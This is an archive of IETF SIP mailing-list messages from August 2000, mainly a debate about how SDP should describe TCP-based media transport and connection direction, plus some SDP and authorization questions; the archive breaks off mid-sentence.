<4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <3990E304.7E53EB6@dynamicsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I have more commentary as well, but this is an easy one: I also object to the AVP-TCP token for the same reason. Adding "AVP" certainly doesn't add any useful information (there *is* no Audio-Video Profile for raw TCP of which I'm aware), and in fact is misleading since the likelihood that you will be using TCP to transport audio or video is quite remote. More commentary will be forthcoming once the morning brain fog clears a bit... At 10:57 AM 8/9/00 +0200, Anders Kristensen wrote: >Works for me, although in 2. I'd prefer using the token TCP rather than >AVP-TCP. This really has nothing to do with any Audio Video Profile. >Unlike for RTP-over-UDP we're not aiming to tell the peer that this >connection is carrying a certain type of traffic. It just means we're >establishing a TCP connection, right? > >Cheers, >Anders > >Jonathan Rosenberg wrote: > > > > So, my proposal would be: > > > > 1. m line format stays as is > > 2. instead of AVP, its a new parameter which indicates TCP: AVP-TCP > > 3. the port number in the m line refers to the port it is listening on > > for connections; this may be meaningless dependending on the next thing > > 4. we define a new attribute, tcp, with values of: > > active: the port number is meaningless and the UA sending this SDP > > wishes to open the connection to the remote side > > passive: please open a connection to this port > > both: we should both try to open connections; the one opened to the > > highest remote port takes precedence if both succeed. If the ports are > > the same, the highest IP address. > > uni: we should both open tcp connections, and use both, each being > > unidirectional (at least for RTP, RTCP would be sent back over the same > > TCP connection I suppose) > > > > I don't like using port zero since this overloads the meaning of port > > zero defined by SIP (refusal of a stream). > > > > Comments? > > > > -Jonathan R. > > > > David Yon wrote: > > > > > > Attached is an informal discussion of various approaches to solving the > > > SDP/TCP problem. Any comments are welcome. If there is general > agreement > > > I'd be happy to collaborate on or submit a formal I-D. > > > > > > With FOGLAMPS under way, and T.38 Annex D already finalized, this problem > > > needs to be solved as soon as possible. While this may be more of an SDP > > > issue than a SIP issue, this problem is directly relevant to SIP which is > > > why I've posted this here. If anyone has suggestions for additional > and/or > > > more appropriate forums please let me know. > > > > > > ---- > > > > > > SIP, SDP, and TCP-based media transport > > > ======================================= > > > > > > The Session Description Protocol currently only describes a small set of > > > protocols that are used for media transport, the most common being > RTP and > > > UDP. A significant omission in SDP is a way to specify TCP as the > > > transport protocol. Since SIP uses SDP to describe the media used in the > > > session being initiated, there is currently no way to use SIP to set up > > > sessions that use TCP connections for media transport. > > > > > > Annex D of the T.38 spec recommends that a protocol identifier of > "TCP" be > > > added to SDP. While this allows SDP to describe that the media transport > > > will use TCP as the network protocol, it only tells half the story. The > > > major difference between RTP/UDP and TCP is that connection setup is > > > asymmetric---one side must be the initiator and the other must be the > > > listener. Only specifying that the network protocol is TCP omits this > > > important piece of information. > > > > > > The remainder of this document discusses ways that the direction of > the TCP > > > connection setup could be conveyed in SDP. > > > > > > Specification By Inference > > > -------------------------- > > > > > > One approach is to leave the decision to the endpoints, and just assume > > > that if they can agree on a media transport that they'll implicitly know > > > how to correctly set up the connection. For example, a transport type of > > > "t38" over TCP might imply that the caller always initiates the > connection > > > and the callee accepts the connection. > > > > > > The problem is that it doesn't scale. It requires that SIP ALP's stay > > > current on an ever-growing list of transport types and hard-code their > > > connection heuristics. > > > > > > Mapping to SIP Call Flow > > > ------------------------ > > > > > > Another approach is to standardize on mapping the SIP call direction > to the > > > connection of the TCP setup. I.e., specify in the SIP RFC that the > UA that > > > does the INVITE is the one that accepts the TCP connection from the > UA that > > > does the OK. > > > > > > The problem with this is that it imposes an arbitrary restriction upon a > > > wide range of applications and topologies. The transport may involve a > > > legacy protocol that cares about the direction of the TCP setup, and > it may > > > not always map to the direction of the call flow. > > > > > > The other problem is that it resolves the issue only for SIP, leaving the > > > problem to be solved again and again for other protocols that also > use SDP. > > > > > > First-Specified/First-Served > > > ---------------------------- > > > > > > One could specify that the first UA to offer up an SDP message is > > > implicitly offering to accept the TCP connection. This maps somewhat to > > > how SDP works on UDP-based transports, where by specifying a port number > > > the UA is announcing that the port is now available to accept a media > stream. > > > > > > This technique would certainly work when the topology allows the UA > sending > > > the INVITE to accept the TCP connection. But if the topology > requires that > > > it be the UA sending the OK, then you run into the problem of > > > underspecifying the session type. Most sessions signalled in SIP are > > > described by the SDP being sent in the INVITE. I.e., is this an audio > > > call? an audio/video call? a T.38 fax call? This question can be > > > answered by inspecting the SDP in the INVITE. Not sending this > information > > > may deprive downstream SIP proxies of critical information required to > > > select the correct media gateway. > > > > > > Port Zero > > > --------- > > > > > > Another twist that would leave SDP syntax unchanged would be to establish > > > the convention that an SDP message specifying zero for the port and > TCP for > > > a transport is the UA that will initiate the TCP connection. It would be > > > up to the other UA to supply a valid port that will accept this > connection. > > > > > > One problem is that this limits the flexibility of the network > > > topology. Many TCP protocols have a well-known port at which they will > > > accept connections, and it may be desirable to always use that port > number > > > for the accept (not the least of which is ease of dumb-firewall > > > administration). If this is the case, specifying port zero for the > > > initiator means that the acceptor may not have sufficient information to > > > correlate an incoming connection with a SIP session. > > > > > > TCP/S and TCP/C > > > --------------- > > > > > > The most explicit way to fully describe TCP-based transport is to add two > > > new SDP protocol descriptors: TCP/S and TCP/C (any better suggestions for > > > nomenclature?). The UA that will accept the connection specifies TCP/S > > > along with the port number it will be accepting on. The UA that will > > > initiate the connection specifies TCP/C along with the port number to > which > > > it has bound the outgoing socket. > > > > > > This approach has numerous advantages. The SDP messages convey *exactly* > > > what will be occurring for media transport, and SIP ALP's will be able to > > > Do The Right Thing(tm) for TCP-based transports with a minimum of extra > > > complexity. TCP-based servers can continue to use fixed port numbers for > > > incoming connections if that is desirable. At the same time, connections > > > can be mapped to sessions without using additional signaling in the media > > > transport itself. Even dumb firewalls can easily be configured to pass > > > this type of traffic (although NAT's remain a problem). > > > > > > SSL/S and SSL/C? > > > ---------------- > > > > > > Any reason to add these to the list? One could argue that this > belongs in > > > the description of the upper-layer protocol. On the other hand, it's > > > common enough that it may warrant being added to the list of > well-known SDP > > > transports. Comments? > > > > > > David Yon > > > Chief Technical Officer > > > Dialout.Net, Inc. > > > yon@dialout.net > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > -- > > Jonathan D. Rosenberg 72 Eagle Rock Ave. > > Chief Scientist First Floor > > dynamicsoft East Hanover, NJ 07936 > > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > > http://www.dynamicsoft.com > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 08:45:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA16096 for ; Wed, 9 Aug 2000 08:45:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C3D084434A; Wed, 9 Aug 2000 08:45:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 74C3544337 for ; Wed, 9 Aug 2000 08:45:14 -0400 (EDT) Received: from dynamicsoft.com (ip34.honxr1.ras.tele.dk [195.249.119.34]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id IAA16511; Wed, 9 Aug 2000 08:46:49 -0400 (EDT) Message-ID: <39915223.74CDDF5C@dynamicsoft.com> Date: Wed, 09 Aug 2000 14:44:19 +0200 From: Anders Kristensen Organization: dynamicsoft X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: Jonathan Rosenberg , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <4.3.2.7.2.20000809063948.00ad2b20@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > > >2. It was proposed that the INVITE could contain a port number even if > >the UAC was going to open the connection to the UAS; this port would > >indicate the source port used in the open. This was motivated by the > >desire for the UAS to have a single server port, and thus distinguish > >incoming tcp connections from different UACs on the same machine by the > >source port. > > > >I have a problem with including the source port in the outgoing request. > >As Anders pointed out, this requires allocating a source port before a > >connection is setup, which is going to be impossible in certain systems. > > While I understand the concern, omitting the ability to specify the port > because of the brain-damage in certain programming languages is a bit > self-defeating. I'm not ready to give up on that feature yet, especially > when bind-before-connect *is* available in most environments. > > Note that I'm not advocating that the UA be *forced* to specify an > origination port (see my discussion down below). But the designers of a > system should be allowed to make this choice for themselves, knowing that > there are tradeoffs in both directions. The only problem I see in allowing a UAC to include a port number in the m= line whilst using a=tcp:active attribute is that since people don't want to use port 0 it is not clear whether the port number is meant to be meaningful or not. This can be solved by specifying the special uac-local-port-is-not-specified port to be 9. It will seem odd to everyone who doesn't know that 9 happens to be the assigned port for the Unix 'null' service, though. I think we can safely assume that to be most people. > As I mentioned in another email: AVP is meaningless at best, misleading at > worst. If we are going to specify the direction in an attribute, let's > just use the "TCP" token that was defined for us by the T.38 Annex D work. Not that we really needed the ITU to grant us the right to use "TCP" as a transport specifier in SDP. > re: using an attribute. Do we really want to require that SIP ALP's forage > into the attributes in order to do their job? Of course we do. The parameter mechanism is there to allow us to add extra info to m= lines or to otherwise qualify them. We could try and encode all this info info into the trnsport specifier but that's totally pointless. -- Anders Kristensen _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 09:18:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25389 for ; Wed, 9 Aug 2000 09:18:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 28D354433E; Wed, 9 Aug 2000 09:18:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f84.law7.hotmail.com [216.33.237.84]) by lists.bell-labs.com (Postfix) with ESMTP id B696444337 for ; Wed, 9 Aug 2000 09:18:07 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 9 Aug 2000 06:18:06 -0700 Received: from 164.164.6.31 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 09 Aug 2000 GMT X-Originating-IP: [164.164.6.31] From: "rahul pande" To: sip@lists.bell-labs.com Date: Wed, 09 Aug 2000 13:18:06 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 09 Aug 2000 13:18:06.0884 (UTC) FILETIME=[41869E40:01C00204] Subject: [SIP] some problem in SIP call flow Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Earlier also i posted the query but it was not in readable format, So i have done some reformatting :- CALLER:: CALLEE:: INVITE 200 ok v=0 v=0 c=IN IP4 127.80.1.112 c=IN IP4 127.81.2.113 ...... ....... m=audio 3241 RTP/AVP 0 m=?????????????? a=recvonly m=vedio 3342 RTP/AVP 1 m=vedio 3352 RTP/AVP 1 Now the callee has only two options with the first media stream that he can accept or reject. CASE 1 (ACCEPT) The response in place of the ??????????????? would be : m=audio 0 RTP/AVP 0 (since port no. does not have any sign.) ************************************************************************ Since the RFC says "For send-only streams, the address and port number have no significance and SHOULD be set to zero." ************************************************************************ So,should i always specify a corres. "c=" for the above such as : c=IN IP4 0.0.0.0 or m=audio 2134 RTP/AVP 0 (RTCP port ---according to bis) CASE 2 (REJECT) if we follow the bis we won't have any problems since just putting the port to 0 will suffice but with the present RFC how will we inform the other side that we want to reject this media stream since port zero is sent when he accepts the media stream, would the address field in "c=" line be seen to check if its a reject or an accept i.e. whether address in c= is 0 or <>0 corresponding to a port 0 in m= line. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 09:22:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA15785 for ; Wed, 9 Aug 2000 08:41:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 58C834433E; Wed, 9 Aug 2000 07:40:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 3A38044337 for ; Wed, 9 Aug 2000 07:40:55 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13MUEA-0003rG-00; Wed, 09 Aug 2000 07:40:54 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id HAA02707; Wed, 9 Aug 2000 07:34:11 -0400 (EDT) Message-Id: <4.3.2.7.2.20000809063948.00ad2b20@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 09 Aug 2000 07:40:34 -0400 To: Jonathan Rosenberg From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: sip@lists.bell-labs.com In-Reply-To: <3990E304.7E53EB6@dynamicsoft.com> References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 12:50 AM 8/9/00 -0400, Jonathan Rosenberg wrote: >This thread never reached any conclusion; there was a lot of discussion >and it would be nice to come to consensus. Thanks for picking up this thread again, I was waiting for the dust to settle from the IETF meeting before doing another ping to the list. >Summary so far: > >1. Seems there is consensus that we would like to be able to have a >single TCP connection for bidirectional media. The case of two >unidirectional tcp connections is easy and pretty much supported with >the current SDP model. Yes. >2. It was proposed that the INVITE could contain a port number even if >the UAC was going to open the connection to the UAS; this port would >indicate the source port used in the open. This was motivated by the >desire for the UAS to have a single server port, and thus distinguish >incoming tcp connections from different UACs on the same machine by the >source port. > >I have a problem with including the source port in the outgoing request. >As Anders pointed out, this requires allocating a source port before a >connection is setup, which is going to be impossible in certain systems. While I understand the concern, omitting the ability to specify the port because of the brain-damage in certain programming languages is a bit self-defeating. I'm not ready to give up on that feature yet, especially when bind-before-connect *is* available in most environments. Note that I'm not advocating that the UA be *forced* to specify an origination port (see my discussion down below). But the designers of a system should be allowed to make this choice for themselves, knowing that there are tradeoffs in both directions. >It would also be useful to allow both sides to try to connect, in the >case where one is behind a firewall, the result is that one of the >connection attempts will work and then that can be used. If both >connect, we could define a precedence rule for dropping one. > >So, my proposal would be: > >1. m line format stays as is >2. instead of AVP, its a new parameter which indicates TCP: AVP-TCP As I mentioned in another email: AVP is meaningless at best, misleading at worst. If we are going to specify the direction in an attribute, let's just use the "TCP" token that was defined for us by the T.38 Annex D work. Note that you might want something like this for RTP-over-TCP, but that's a different subject, and it seems like you would want use a special token for that. >3. the port number in the m line refers to the port it is listening on >for connections; this may be meaningless dependending on the next thing >4. we define a new attribute, tcp, with values of: > active: the port number is meaningless and the UA sending this SDP >wishes to open the connection to the remote side What if we were to define a port that is the equivalent of PORT_ANY? (which unfortunately is usually zero---and yes---I know there's no PORT_ANY in most socket headers :-) ) The UA wishing to be the active side of the connect can specify a port if possible, or by specifying PORT_ANY it denotes that it does not know from which port it will be originating the connect. The SIP version of PORT_ANY could be 9 (discard, as Robert suggests), or maybe 65535. re: using an attribute. Do we really want to require that SIP ALP's forage into the attributes in order to do their job? The reason I had originally suggested that we have several TCP tokens (in this case we could have TCP/BOTH, TCP/ACTIVE, TCP/PASSIVE, and TCP/UNI) was so that a SIP ALP would have everything it needed to know on the m= line. I'm not stuck on either approach, but I wanted to make sure we understood the ramifications of each side. > passive: please open a connection to this port > both: we should both try to open connections; the one opened to the >highest remote port takes precedence if both succeed. If the ports are >the same, the highest IP address. "both" opens up a race condition if both succeed. What if the "winning ticket" (highest port/address) gets connected later due to packet loss? I.e., late enough that the other connection has already has some data in the pipe? > uni: we should both open tcp connections, and use both, each being >unidirectional (at least for RTP, RTCP would be sent back over the same >TCP connection I suppose) I don't see when this would ever be used except for RTP-over-TCP, in which case you probably want a unique token for that. But my objection to this is not all that strong. >I don't like using port zero since this overloads the meaning of port >zero defined by SIP (refusal of a stream). I agree, and it's unfortunate that it's in conflict with the natural desire to use PORT_ANY (0) for the purposes I list earlier. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 09:23:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27617 for ; Wed, 9 Aug 2000 09:23:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 67D564434D; Wed, 9 Aug 2000 09:22:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from polaris.shore.net (polaris.shore.net [207.244.124.105]) by lists.bell-labs.com (Postfix) with ESMTP id 6119044337 for ; Wed, 9 Aug 2000 09:22:13 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by polaris.shore.net with esmtp (Exim) id 13MVoC-0002aN-00; Wed, 09 Aug 2000 09:22:12 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id JAA02766; Wed, 9 Aug 2000 09:15:30 -0400 (EDT) Message-Id: <4.3.2.7.2.20000809085948.00d4c4c0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 09 Aug 2000 09:23:18 -0400 To: Anders Kristensen From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: Jonathan Rosenberg , sip@lists.bell-labs.com In-Reply-To: <39915223.74CDDF5C@dynamicsoft.com> References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <4.3.2.7.2.20000809063948.00ad2b20@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 02:44 PM 8/9/00 +0200, Anders Kristensen wrote: >The only problem I see in allowing a UAC to include a port number in the >m= line whilst using a=tcp:active attribute is that since people don't >want to use port 0 it is not clear whether the port number is meant to >be meaningful or not. This can be solved by specifying the special >uac-local-port-is-not-specified port to be 9. It will seem odd to >everyone who doesn't know that 9 happens to be the assigned port for the >Unix 'null' service, though. I think we can safely assume that to be >most people. Well yes, we're agreeing. Although you snipped it out of your reply, I suggested the same thing: either port 9 or port 65535 as the equivalent of "I don't know what port I'm using". I agree that port 0 in SIP already has other connotations and that it would be bad to overload it. > > As I mentioned in another email: AVP is meaningless at best, misleading at > > worst. If we are going to specify the direction in an attribute, let's > > just use the "TCP" token that was defined for us by the T.38 Annex D work. > >Not that we really needed the ITU to grant us the right to use "TCP" as >a transport specifier in SDP. Didn't mean to infer anything of the sort. I was just pointing out that TCP was there already, regardless of who put it there. > > re: using an attribute. Do we really want to require that SIP ALP's forage > > into the attributes in order to do their job? > >Of course we do. The parameter mechanism is there to allow us to add >extra info to m= lines or to otherwise qualify them. We could try and >encode all this info info into the trnsport specifier but that's totally >pointless. Yes, but I have three issues: 1) A SIP ALP shouldn't need to have an in-depth knowledge of the media beyond that which is necessary to route it. I.e., a SIP ALP shouldn't need to know anything about the G.xxx codecs in order to do its job of firewall/NAT management. 2) It seems like in other usage models, the m= line contains network endpoint data, and the a= line contains more detailed information about the media that will be flowing. The current proposal blurs this separation. I'll admit that TCP connection setup is a grey area in terms of media properties vs network properties, but I'm leaning towards the latter. 3) If I'm remembering correctly, the m= line has a very simple, fixed format, whereas the a= line is much more open and extensible. If a SIP ALP can get its routing information from the m= line it will reduce complexity. If someone can point out existing media descriptions that would require a SIP ALP to have intimate knowledge of the a= line in order to manipulate a NAT/firewall, I'd be interested to hear it. Barring that we will be the first to extend SDP such that this is required. I'll also add that this is not a rapidly growing set of attributes we're talking about. I.e., unlike codec technology and the AVP profiles, it doesn't seem like there will be a lot of new things to say about TCP connection setup in the future. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 11:08:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08083 for ; Wed, 9 Aug 2000 11:08:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8186E4434B; Wed, 9 Aug 2000 11:08:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 5D1F14433E for ; Wed, 9 Aug 2000 11:08:25 -0400 (EDT) Received: from dynamicsoft.com ([216.66.66.46]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA17992; Wed, 9 Aug 2000 11:09:47 -0400 (EDT) Message-ID: <3991751E.A6A1271A@dynamicsoft.com> Date: Wed, 09 Aug 2000 11:13:34 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] INVITE a=sendrecv, 200ok a=sendonly a=recvonly..? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rahul pande wrote: > > hi all, > Pl. answer the queries or refer a url > i have few queries to ask : > > 1) if caller requests the foll. > m= 0 1 > a=sendrecv > if the callee supports only sendonly with 0 > and recvonly with 1 then how can he specify this > in his response > would it be: > m= 0 > a=sendonly > m= 1 > a=recvonly > but the above will voilate the sip rfc where it specifies that > there should be one to one mapping b/w the requests and the response. Correct. This is not something that is expressable in SDP, at least in a single pass. The caller should probably accept the call with one of sendonly or recvonly, and then do re-INVITE to add the stream in the other direction. > > 2) The netmeeting tool of Microsoft implements the H323 stack and there > we have a provision for file transfer too, can we do the same using SIP > stack, > but how will we convey the request in the SDP. I don't know of a specific definition of an ftp session within SDP; seems easy to do. > > 3) another query on SDP responses: > if caller sends a request: > m= > a=recvonly > and the callee supports it, does it have to change the a= value to > sendonly in the response i.e. > m= > a=sendonly > or the above will be assumed by the caller on receipt of the positive > response The spec doesn't say. I think either will work, with a=sendonly being the most correct thing. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 11:12:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08249 for ; Wed, 9 Aug 2000 11:12:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D281D44365; Wed, 9 Aug 2000 11:12:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id E106C4433E for ; Wed, 9 Aug 2000 11:12:35 -0400 (EDT) Received: from dynamicsoft.com ([216.66.66.46]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA18043; Wed, 9 Aug 2000 11:13:48 -0400 (EDT) Message-ID: <3991760F.22A56790@dynamicsoft.com> Date: Wed, 09 Aug 2000 11:17:35 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rafi Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Authorization each time ? References: <00be01c001c0$38132020$8c40000a@sasi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The caller can cache the credentials and use them in any subsequent requests to the same To field. It may turn out that the nonce has not expired and thus the cached credentials work for the next call. If they have expired, then the UAC will need to be rechallenged and can automatically recompute the credentials with the new nonce. -Jonathan R. > rafi wrote: > > Hi, > > > Consider the following call scenario > > > A B > > INVITE > ------------------------------------> > > 401 (Unauthorized) > <------------------------------------ > > ACK > ------------------------------------> > > INVITE with Authorization > -------------------------------------> > > 200 OK > <------------------------------------- > > ACK > -------------------------------------> > > > When call is disconnected and connected later > above things repeat even though caller MAY know that > authorization is required each time. Caller MAY not have the > proper nonce and other values in order to authorize. In order > to get those value caller MAY prefer to go through the above > call flow each time. Thus each time caller has a overhead of > doing thing. Thus, is it possible to do it in other way ?. > > Thanks > Rafi Assadi H M -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 11:32:49 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09124 for ; Wed, 9 Aug 2000 11:32:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A56164436B; Wed, 9 Aug 2000 11:32:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by lists.bell-labs.com (Postfix) with ESMTP id 2D5584433E for ; Wed, 9 Aug 2000 11:32:33 -0400 (EDT) Received: from fokus.gmd.de (dhcp007 [195.37.78.135]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id RAA09805; Wed, 9 Aug 2000 17:32:22 +0200 (MET DST) Message-ID: <39917971.3C5663EB@fokus.gmd.de> Date: Wed, 09 Aug 2000 17:32:01 +0200 From: Jiri Kuthan X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: Anders Kristensen , Jonathan Rosenberg , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <4.3.2.7.2.20000809063948.00ad2b20@webhost.tactical-sw.com> <4.3.2.7.2.20000809085948.00d4c4c0@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > If someone can point out existing media descriptions that would require a > SIP ALP to have intimate knowledge of the a= line in order to manipulate a > NAT/firewall, I'd be interested to hear it. Barring that we will be the > first to extend SDP such that this is required. Check 